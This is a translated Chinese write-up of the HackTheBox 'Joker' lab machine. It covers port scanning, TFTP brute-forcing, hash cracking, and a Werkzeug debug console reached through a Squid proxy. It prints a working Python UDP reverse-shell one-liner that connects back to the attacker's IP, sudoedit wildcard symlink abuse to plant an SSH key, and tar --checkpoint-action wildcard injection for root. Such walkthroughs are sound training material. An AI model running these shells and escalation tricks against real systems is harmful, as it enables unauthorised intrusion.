當前位置:
首頁 > 最新 > 一個滲透實例(2)

一個滲透實例(2)

這可能是我在hackthebox上享受的第一個硬碟盒。裡面大部分內容使我很快可以完成整個過程,強烈推薦。

初始枚舉

啟動nmap來快速掃描

root@kali:~/htb/joker# nmap -sV 10.10.10.21

Nmap scan report for joker (10.10.10.21)

Host is up (0.066s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)

3128/tcp open http-proxy Squid http proxy 3.5.12

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ssh通常沒有問題,除非它是一個嚴重過時的版本,所以我們來看看3128埠,這似乎是一個squid代理,我們嘗試通過瀏覽器代理,看看我們可以得到什麼。

退出設置後我們收到以下消息:

我嘗試了幾個簡單的密碼,但運氣不好。還有一個名為NMAP NSE Script的http-proxy-bruteforce密碼。也沒有成功。

我們重新運行nmap來掃描所有TCP埠,同時做一個基本的UDP掃描,看看是否有其他服務打開。

root@kali:~/htb/joker# nmap -sU 10.10.10.21

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-29 14:46 EST

Initiating Ping Scan at 14:46

Scanning 10.10.10.21 [4 ports]

Completed Ping Scan at 14:46, 0.23s elapsed (1 total hosts)

Initiating UDP Scan at 14:46

Host is up (0.067s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

69/udp open|filtered tftp

5355/udp open|filtered llmnr

UDP掃描結果顯示69埠TFTP服務開啟,由於無法在TFTP伺服器中列出文件,因此查找文件的唯一方法是破解它們,幸運的是Metasploit有一個模塊可以為我們做到這一點。

我們載入tftpbrute模塊,查看我們的選項,將RHOSTS設置為joker的IP,並載入我們自己的字典文件。可以看到我們在運行一分鐘後得到了密碼,太好了!讓我們從joker那兒看看,看看裡面有什麼。

root@kali:~/htb/joker# tftp 10.10.10.21

tftp> get passwords

Received 48 bytes in 0.0 seconds

tftp> quit

root@kali:~/htb/joker# cat passwords

kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

看起來我們像在做生意,我們有一個似乎是代理用戶的散列。繼續看看我們要將什麼樣的散列輸入到hashcat中。

我直接在Windows機器上運行hashcat,也有辦法讓它在Kali中運行,讓我們運行hashcat,查看我們是否可以找到MD5(APR)的選項,並破解哈希。

我們找到用戶名kalamari的密碼為ihateseafood。瀏覽到本地主機或127.0.0.1輸入我們新發現的憑證後,我們看到了一個網頁。

在測試網頁之後,我們可以用它做很多事情。讓我們看看是否可以用dirb找到其他頁面。

root@kali:~/htb/joker# dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r

-----------------

DIRB v2.22

By The Dark Raver

-----------------

START_TIME: Fri Dec 29 15:27:52 2017

URL_BASE: http://127.0.0.1/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

PROXY: 10.10.10.21:3128

PROXY AUTHORIZATION: kalamari:ihateseafood

OPTION: Not Recursive

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://127.0.0.1/ ----

http://127.0.0.1/console (CODE:200|SIZE:1479)

==> DIRECTORY: http://127.0.0.1/list/

-----------------

END_TIME: Fri Dec 29 15:33:08 2017

DOWNLOADED: 4612 - FOUND: 1

看起來我們已經找到了一個python控制台。我們來開始利用。

利用

在這裡有幾種不同的運行命令方式,因為這個控制台是單線程的,如果你以某種方式運行命令,如果有其他人正在使用它,控制台將會被鎖定。這真的不應該成為一個問題,現在這個控制台已經不用很久了,而且體積很小,但是作為一個好的練習方式你應該使用。讓我們嘗試驗證命令執行

[console ready]

>>> import subprocess

>>> subprocess.check_output(["id"])

"uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)
"

我試了一種常規的Python shell但沒有反應。也無法通過wget下載文件。看起來防火牆可能會阻止連接。我們發現iptables的規則位於/etc/iptables/rules.v4

>>> subprocess.check_output(["cat","/etc/iptables/rules.v4"])

"# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017
"

我們來清理一下格式。

# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017

*filter

:INPUT DROP [41573:1829596]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [878:221932]

-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT

-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT

-A INPUT -i ens33 -p udp -j ACCEPT

-A INPUT -i ens33 -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP

COMMIT

# Completed on Fri May 19 18:01:16 2017

好的,我們可以在輸出線上看到任何新的出站TCP連接都被刪除。那麼shell還有其他選項嗎?好吧,碰巧有人已經用Python在這裡製作了一個UDP反向shell。在這個之前,我不知道能否成功。我們無法使用netcat來捕獲UDP外殼,所以我們不得不使用soc中的python腳本。在設置我們的監聽器之後,然後在控制台中運行我們的shell。

>>> import subprocess

>>> subprocess.Popen(["python", "-c", "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.14.10", 100)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close();"])

kali:~/htb/joker# socat file:`tty`,echo=0,raw udp-listen:100

werkzeug@joker:~$ id

uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)

繼續前進是值得養成的一個好習慣,並在獲得shell之後產生一個tty。我們在這裡用python來做到這一點。

werkzeug@joker:~$ python -c "import pty; pty.spawn("/bin/bash")"

許可權提升

不幸的是,我們無法在alekos的主目錄中獲取user.txt,因此我們需要許可權提升。讓我們看看我們當前的用戶是否具有sudo許可權。

werkzeug@joker:/home/alekos$ sudo -l

Matching Defaults entries for werkzeug on joker:

env_reset, mail_badpass,

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,

sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:

(alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

編輯layout.html文件對我們沒有多大幫助,但星號看起來很有趣,可能有一種方法可以利用這些通配符。這恰好就是我們所能做的。

https://www.exploit-db.com/exploits/37710/

鏈接里的文章說,漏洞利用時,如果使用兩次通配符,sudoedit不會檢查完整路徑。因此,為了利用它,他們創建了一個指向的符號鏈接/etc/shadow。這樣做對我們來說不能完全利用,因為我們只具有sudoedit許可權,而不是root。因此,我們可以做的是創建一個符號鏈接到alekos ssh授權密鑰文件並編輯文件以添加到我們的公共ssh密鑰中。

首先我們需要創建一個目錄/var/www/,我們來檢查許可權。

werkzeug@joker:/home/alekos$ cd /var/www

werkzeug@joker:~$ ls -al

total 20

drwxr-xr-x 4 root root 4096 May 18 2017 .

drwxr-xr-x 14 root root 4096 Oct 23 2016 ..

-rwxr-x--- 1 root werkzeug 581 May 18 2017 manage-shorty.py

drwxr-x--- 5 root werkzeug 4096 May 18 2017 shorty

drwxr-xr-x 2 werkzeug werkzeug 4096 May 18 2017 testing

看起來測試目錄能很好的工作。

werkzeug@joker:~$ cd testing

werkzeug@joker:~/testing$ ls

layout.html

原來的layout.html是由sudoedit編輯的。我們需要在這裡創建另一個目錄來利用第二個通配符。然後創建我們的符號鏈接。

werkzeug@joker:~/testing$ mkdir test

werkzeug@joker:~/testing$ cd test

werkzeug@joker:~/testing/test$ ln -s /home/alekos/.ssh/authorized_keys layout.html

werkzeug@joker:~/testing/test$ ls -al

total 8

drwxrwxr-x 2 werkzeug werkzeug 4096 Dec 31 01:02 .

drwxr-xr-x 3 werkzeug werkzeug 4096 Dec 31 01:01 ..

lrwxrwxrwx 1 werkzeug werkzeug 33 Dec 31 01:02 layout.html -> /home/alekos/.ssh/authorized_keys

我們的符號鏈接已到位。讓我們編輯並放置我們的公共ssh密鑰。

werkzeug@joker:/$ sudoedit -u alekos /var/www/testing/test/layout.html

現在我們可以使用ssh了。

現在我們可以抓取user.txt。

許可權提升

我們已經克服了不少障礙,但由於我們尚未獲得root shell,在主目錄裡面有兩個有趣的東西,development和backup。backup是一個文件夾,其中包含development基於時間戳每五分鐘運行的文件夾備份。我們也可以看到tar文件是由root擁有的。

alekos@joker:~$ ls -al

total 116

drwxr-xr-x 7 alekos alekos 4096 May 19 2017 .

drwxr-xr-x 3 root root 4096 May 16 2017 ..

drwxrwx--- 2 root alekos 73728 Dec 31 01:20 backup

-rw------- 1 root root 0 May 17 2017 .bash_history

-rw-r--r-- 1 alekos alekos 220 May 16 2017 .bash_logout

-rw-r--r-- 1 alekos alekos 3771 May 16 2017 .bashrc

drwx------ 2 alekos alekos 4096 May 17 2017 .cache

drwxr-x--- 5 alekos alekos 4096 May 18 2017 development

drwxr-xr-x 2 alekos alekos 4096 May 17 2017 .nano

-rw-r--r-- 1 alekos alekos 655 May 16 2017 .profile

drwxr-xr-x 2 alekos alekos 4096 May 20 2017 .ssh

-r--r----- 1 root alekos 33 May 19 2017 user.txt

alekos@joker:~$ cd backup

alekos@joker:~/backup$ ls -al

total 67640

drwxrwx--- 2 root alekos 73728 Dec 31 01:20 .

drwxr-xr-x 7 alekos alekos 4096 May 19 2017 ..

-rw-r----- 1 root alekos 40960 Dec 25 04:25 dev-1514168701.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:30 dev-1514169001.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:35 dev-1514169301.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:40 dev-1514169601.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:45 dev-1514169901.tar.gz

在檢查cron作業之後,沒有發現正在運行這些備份的信號。經過一段時間的思考之後,似乎合乎邏輯的是,備份如何運行tar cf *。然而,我們可以利用另一個通配符。恰巧我在Vulnhub盒子上工作時遇到過這個問題。

有關如何操作的詳細說明,請點擊https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt。

簡單的解釋是我們可以將選項和參數注入,通過命名這些選項/參數的文件運行的tar命令中。通配符會將文件名處理為實際的命令行選項並運行它們。

我們將要使用的選項是--checkpoint和--checkpoint-action。使用tar,您可以指定檢查點和每個運行命令的檢查點操作。所以我們所要做的就是設置檢查點操作來運行另一個python UDP shell。

我們來展示我們的shell。

alekos@joker:~/development$ nano udpshell.py

alekos@joker:~/development$ chmod x udpshell.py

創建我們的文件。請注意,您必須使用--表示命令選項的結尾,以便正確地創建文件名。

alekos@joker:~/development$ touch -- --checkpoint=1

alekos@joker:~/development$ touch -- "--checkpoint-action=exec=python udpshell.py"

啟動監聽並等待工作運行。

root@kali:~/htb/joker# socat file:`tty`,echo=0,raw udp-listen:100

root@joker:/home/alekos/development# id

uid=0(root) gid=0(root) groups=0(root)

root@joker:/home/alekos/development#

現在我們已經有了我們的root shell!

文章出處:https://www.sploitspren.com,由華盟網翻譯排版,轉載請註明華盟網


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 黑白之道 的精彩文章:

黑客都敢劫持YouTube來挖門羅幣
女演員米凱拉iCloud帳戶遭黑客入侵

TAG:黑白之道 |